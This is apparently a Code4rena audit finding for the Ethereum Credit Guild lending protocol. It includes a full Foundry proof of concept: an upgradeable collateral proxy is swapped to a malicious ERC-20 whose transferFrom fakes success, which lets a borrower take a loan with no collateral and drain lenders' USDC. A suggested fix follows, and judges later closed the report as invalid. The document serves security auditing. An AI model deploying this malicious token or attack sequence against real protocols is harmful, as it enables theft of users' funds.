search

code-423n4 / 2023-12-ethereumcreditguild-findings

10 stars 6 forks source link

Attacker Can Steal USDC from the Protocol by Onboarding a Lending Term with an Upgradeable ERC-20 Collateral #992

Closed c4-bot-9 closed 6 months ago

c4-bot-9 commented 6 months ago

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L339

Vulnerability details

Impact

There are 3 impacts in this bug: 1) Attacker is able to steal USDC (pegged token) from protocol 2) Bad debt might occur because the borrower hasn't repaid the loan. If this loan goes to auction, there is a possibility that no one will bid for it. Even if someone wants to bid for it, their transaction will likely revert since there is no collateral available to transfer to the bidder 3) Loss of trust in the protocol

Proof of Concept

As outlined in the README file of the contest, users can onboard lending terms with an upgradeable ERC-20 collateral, following the attack idea known as: Malicious collateral: onboard a lending term with an ERC20 collateral token that is an upgradeable proxy, then upgrade the proxy in a creative way to brick the ECG internal logic & prevent proper bad debt realization

Since onboarding lending terms with upgradeable ERC20 collaterals is a standard protocol behavior, malicious users can exploit this by onboarding a lending term with a visually appealing upgradeable proxy as collateral. Subsequently, they can strategically upgrade the proxy to a malicious implementation right before initiating the borrow. This malicious implementation consistently returns true on every transferFrom without actually transferring anything. As a result, malicious users can secure a loan without providing any collateral and redeem for USDC.

According to this line of code within _borrow() , this function calls safeTransferFrom on every borrow to transfer the collateral from the borrower to the lending term. However, since safeTransferFrom only checks the boolean result of a transferFrom call, the attacker upgrades the proxy to consistently return true on every transferFrom without actually transferring anything, and takes a loan without providing any collateral.

To test the scenario:

Install openzeppelin/contracts-upgradeable ver 4.9.3:

npm install @openzeppelin/contracts-upgradeable@4.9.3

Make a folder/dir named ninja-tests in this path: test/unit/ and create below files in it:

CollateralProxy.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract CollateralProxy is ERC1967Proxy {
    address _owner;

    constructor(address _logic, bytes memory _data) ERC1967Proxy(_logic, _data){
        _owner = msg.sender;
    }

    function upgradeTo(address _logic) public {
        require(msg.sender == _owner, "Owner Only");
        _upgradeTo(_logic);
    }
}

CollateralToken.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PermitUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract CollateralToken is Initializable, ERC20Upgradeable, ERC20BurnableUpgradeable, OwnableUpgradeable, ERC20PermitUpgradeable {
    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }

    function initialize() initializer public {
        __ERC20_init("MockToken", "MCT");
        __ERC20Burnable_init();
        __Ownable_init();
        __ERC20Permit_init("MockToken");
    }

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
}

MalERC20ImpForBorrow.sol: This contract is the malicious implementation which always returns true when msg.sender == address(term) without actually transferring anything. Term's address should be hardcoded in this contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PermitUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract MalERC20ImpForBorrow is Initializable, ERC20Upgradeable, ERC20BurnableUpgradeable, OwnableUpgradeable, ERC20PermitUpgradeable {
    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }

    function initialize() initializer public {
        __ERC20_init("MockToken", "MCT");
        __ERC20Burnable_init();
        __Ownable_init();
        __ERC20Permit_init("MockToken");
    }

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    // @audit Always returns true when msg.sender == term without transfering anything
    // Lending term's address should be hardcoded
    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        address term = 0x1F88f48585ad6754e59c03debd4502399e33Ff50;
        if(_msgSender() == term){
            return true;
        }
        else{
            address spender = _msgSender();
            _spendAllowance(from, spender, amount);
            _transfer(from, to, amount);
            return true;
        }
    }
}

MaliciousCollateral.t.sol:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {Test, console, stdError} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {CollateralToken} from "@test/unit/ninja-tests/CollateralToken.sol";
import {MalERC20ImpForBorrow} from "@test/unit/ninja-tests/MalERC20ImpForBorrow.sol";
import {CollateralProxy} from "@test/unit/ninja-tests/CollateralProxy.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
import {SurplusGuildMinter} from "@src/loan/SurplusGuildMinter.sol";
import {Governor, IGovernor} from "@openzeppelin/contracts/governance/Governor.sol";
import {GovernorCountingSimple} from "@openzeppelin/contracts/governance/extensions/GovernorCountingSimple.sol";
import {LendingTermOnboarding} from "@src/governance/LendingTermOnboarding.sol";
import {GuildTimelockController} from "@src/governance/GuildTimelockController.sol";

contract MaliciousCollateralUSDCStealing is Test{
    address private governor = address(1);
    address private guardian = address(2);
    address charlie;
    Core private core;
    ProfitManager private profitManager;
    GuildToken private guild;
    CreditToken private credit;
    MockERC20 private usdc;
    CollateralToken collateral;
    CollateralProxy proxy;
    SimplePSM private psm;
    LendingTerm private termImplementation;
    AuctionHouse auctionHouse;
    RateLimitedMinter rlcm;
    RateLimitedMinter rlgm;
    GuildTimelockController private timelock;
    LendingTermOnboarding private onboarder;
    address private constant alice = address(0x616c696365);
    address private constant bob = address(0xB0B);
    SurplusGuildMinter sgm;
    // GuildTimelockController params
    uint256 private constant _TIMELOCK_MIN_DELAY = 3600; // 1h
    // LendingTerm params
    uint256 private constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1, same decimals
    uint256 private constant _INTEREST_RATE = 0.05e18; // 5% APR
    uint256 private constant _HARDCAP = 1_000_000e18;
    // LendingTermOnboarding params
    uint256 private constant _VOTING_DELAY = 0;
    uint256 private constant _VOTING_PERIOD = 100_000; // ~14 days
    uint256 private constant _PROPOSAL_THRESHOLD = 2_500_000e18;
    uint256 private constant _QUORUM = 20_000_000e18;
    uint256 constant MINT_RATIO = 2e18;
    uint256 constant REWARD_RATIO = 5e18;

    function setUp() public {
        charlie = vm.addr(13);
        vm.warp(1679067867);
        vm.roll(16848497);
        // deploy
        core = new Core();
        profitManager = new ProfitManager(address(core));
        credit = new CreditToken(address(core), "name", "symbol");
        guild = new GuildToken(address(core), address(profitManager));
        usdc = new MockERC20();
        usdc.setDecimals(6);
        usdc.mint(charlie, 100_000e6);
        usdc.mint(alice, 100_000e6);
        rlcm = new RateLimitedMinter(
            address(core), /*_core*/
            address(credit), /*_token*/
            CoreRoles.RATE_LIMITED_CREDIT_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );
        rlgm = new RateLimitedMinter(
            address(core), /*_core*/
            address(guild), /*_token*/
            CoreRoles.RATE_LIMITED_GUILD_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );
        sgm = new SurplusGuildMinter(
            address(core),
            address(profitManager),
            address(credit),
            address(guild),
            address(rlgm),
            MINT_RATIO,
            REWARD_RATIO
        );
        psm = new SimplePSM(
            address(core),
            address(profitManager),
            address(credit),
            address(usdc)
        );
        auctionHouse = new AuctionHouse(
            address(core),
            650,
            1800
        );
        termImplementation = new LendingTerm();
        timelock = new GuildTimelockController(
            address(core),
            _TIMELOCK_MIN_DELAY
        );
        onboarder = new LendingTermOnboarding(
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }), /// _lendingTermReferences
            1, // _gaugeType
            address(core), // _core
            address(timelock), // _timelock
            _VOTING_DELAY, // initialVotingDelay
            _VOTING_PERIOD, // initialVotingPeriod
            _PROPOSAL_THRESHOLD, // initialProposalThreshold
            _QUORUM // initialQuorum
        );
        onboarder.allowImplementation(
            address(termImplementation),
            true
        );
        profitManager.initializeReferences(address(credit), address(guild), address(psm));
        // permissions
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(psm));
        core.grantRole(CoreRoles.GUILD_GOVERNANCE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
        core.grantRole(CoreRoles.GOVERNOR, address(timelock));
        core.grantRole(CoreRoles.GUILD_MINTER, address(rlgm));
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgm));
        core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgm));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
        core.grantRole(CoreRoles.GAUGE_ADD, address(timelock));
        core.grantRole(CoreRoles.TIMELOCK_EXECUTOR, address(0));
        core.grantRole(CoreRoles.TIMELOCK_PROPOSER, address(onboarder));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));
        // allow GUILD gauge votes & delegations
        guild.setMaxGauges(10);
        guild.setMaxDelegates(10);
    }

    function testStealUSDCWithMalCollateral() public {
        // Charlie (lender) deposits 100_000e6 USDC in PSM
        vm.startPrank(charlie);
        usdc.approve(address(psm), 100_000e6);
        psm.mintAndEnterRebase(100_000e6);
        assertEq(credit.balanceOf(charlie), 100_000e18);
        vm.stopPrank();

        // Alice (Malicious user) implements a nice-looking upgradeable ERC20 collateral 
        vm.startPrank(alice);
        CollateralToken implementation = new CollateralToken();
        bytes memory initData = abi.encodeWithSelector(implementation.initialize.selector, alice);
        proxy = new CollateralProxy(address(implementation), initData);
        collateral = CollateralToken(address(proxy));
        collateral.mint(alice, 200_000e18);
        vm.stopPrank();

        LendingTerm term = LendingTerm(onboarder.createTerm(address(termImplementation), LendingTerm.LendingTermParams({
            collateralToken: address(collateral),
            maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
            interestRate: _INTEREST_RATE,
            maxDelayBetweenPartialRepay: 0,
            minPartialRepayPercent: 0,
            openingFee: 0,
            hardCap: _HARDCAP
        })));
        vm.label(address(term), "term");

        // mint GUILD & self delegate
        guild.mint(alice, _PROPOSAL_THRESHOLD);
        guild.mint(bob, _QUORUM);
        vm.prank(alice);
        guild.delegate(alice);
        vm.prank(bob);
        guild.incrementDelegation(bob, _QUORUM);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);

        // Alice onboards a Lending Term with the upgradeable ERC20 collateral
        vm.prank(alice);
        uint256 proposalId = onboarder.proposeOnboard(address(term));
        (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory calldatas,
            string memory description
        ) = onboarder.getOnboardProposeArgs(address(term));

        // check proposal creation
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Pending));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        // support & check status
        vm.prank(bob);
        onboarder.castVote(proposalId, uint8(GovernorCountingSimple.VoteType.For));
        vm.roll(block.number + _VOTING_PERIOD + 1);
        vm.warp(block.timestamp + 13);
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Succeeded));
        // queue
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        onboarder.queue(targets, values, calldatas, keccak256(bytes(description)));
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Queued));
        // execute
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + _TIMELOCK_MIN_DELAY + 13);
        onboarder.execute(targets, values, calldatas, keccak256(bytes(description)));
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Executed));
        // check execution
        assertEq(guild.isGauge(address(term)), true);

        // Alice deposits 100_000e6 USDC into PSM to get 100_000e18 gUSDC
        vm.startPrank(alice);
        usdc.approve(address(psm), 100_000e6);
        assertEq(credit.balanceOf(alice), 0);
        psm.mint(alice,100_000e6);
        assertEq(credit.balanceOf(alice), 100_000e18);

        // Alice stakes 100_000e18 gUSDC in sgm and votes for her onboarded term
        credit.approve(address(sgm), 100_000e18);
        sgm.stake(address(term), 100_000e18);

        // Before borrowing, Alice upgrades the collateral proxy to the malicious implementation which always returns true
        // on transferFrom without acually transfering anything, this enables her to borrow without providing any collateral.
        MalERC20ImpForBorrow maliciousImplementation = new MalERC20ImpForBorrow();
        proxy.upgradeTo(address(maliciousImplementation));
        collateral = CollateralToken(address(proxy));

        // Alice borrows 200_000e18 gUSDC without paying any collateral
        term.borrow(200_000e18, 200_000e18);
        assertEq(credit.balanceOf(alice), 200_000e18);

        // Right after borrowing, Alice upgrades the proxy back to the previous implementation, which functions under normal behavior
        proxy.upgradeTo(address(implementation));
        collateral = CollateralToken(address(proxy));

        // Alice redeems 200_000e6 USDC from PSM, effectively stealing 100_000e6 USDC from Charlie
        credit.approve(address(psm), 200_000e18);
        psm.redeem(alice, 200_000e18);
        vm.stopPrank();

        // Charlie wants to redeem his 100_000e6 USDCs but his transaction reverts due to Arithmetic underflow
        vm.startPrank(charlie);
        credit.approve(address(psm), 100_000e18);
        vm.expectRevert(stdError.arithmeticError);
        psm.redeem(charlie, 100_000e18);
        vm.stopPrank();
    }
}

At the end you should have following files in this path: test/unit/ninja-tests/ 

test/unit/ninja-tests
    - CollateralProxy.sol
    - CollateralToken.sol
    - MalERC20ImpForBorrow.sol
    - MaliciousCollateral.t.sol

Run the test:

forge test --match-test testStealUSDCWithMalCollateral

Tools Used

VSCode Foundry

Recommended Mitigation Steps

Move the transfer operation up in the _borrow() function and ensure that enough collateral has been transferred to the lending term by checking the balance of address(this) before and after the transfer.

diff --git a/LendingTerm.sol.orig b/LendingTerm.sol
index e00c699..7f6f486 100644
--- a/LendingTerm.sol.orig
+++ b/LendingTerm.sol
@@ -351,6 +351,16 @@ contract LendingTerm is CoreRef {
         // check that the loan doesn't already exist
         require(loans[loanId].borrowTime == 0, "LendingTerm: loan exists");

+        uint256 balanceBeforeTransfer = IERC20(params.collateralToken).balanceOf(address(this));
+        // pull the collateral from the borrower
+        IERC20(params.collateralToken).safeTransferFrom(
+            borrower,
+            address(this),
+            collateralAmount
+        );
+        collateralAmount = IERC20(params.collateralToken).balanceOf(address(this));
+        collateralAmount = collateralAmount - balanceBeforeTransfer;
+
         // check that enough collateral is provided
         uint256 creditMultiplier = ProfitManager(refs.profitManager)
             .creditMultiplier();
@@ -417,13 +427,6 @@ contract LendingTerm is CoreRef {
         // mint debt to the borrower
         RateLimitedMinter(refs.creditMinter).mint(borrower, borrowAmount);

-        // pull the collateral from the borrower
-        IERC20(params.collateralToken).safeTransferFrom(
-            borrower,
-            address(this),
-            collateralAmount
-        );
-
         // emit event
         emit LoanOpen(
             block.timestamp,

Assessed type

Upgradable

c4-pre-sort commented 6 months ago

0xSorryNotSorry marked the issue as sufficient quality report

0xSorryNotSorry commented 6 months ago

same root cause with #1039

c4-pre-sort commented 6 months ago

0xSorryNotSorry marked the issue as duplicate of #1039

c4-judge commented 5 months ago

Trumpero marked the issue as unsatisfactory: Invalid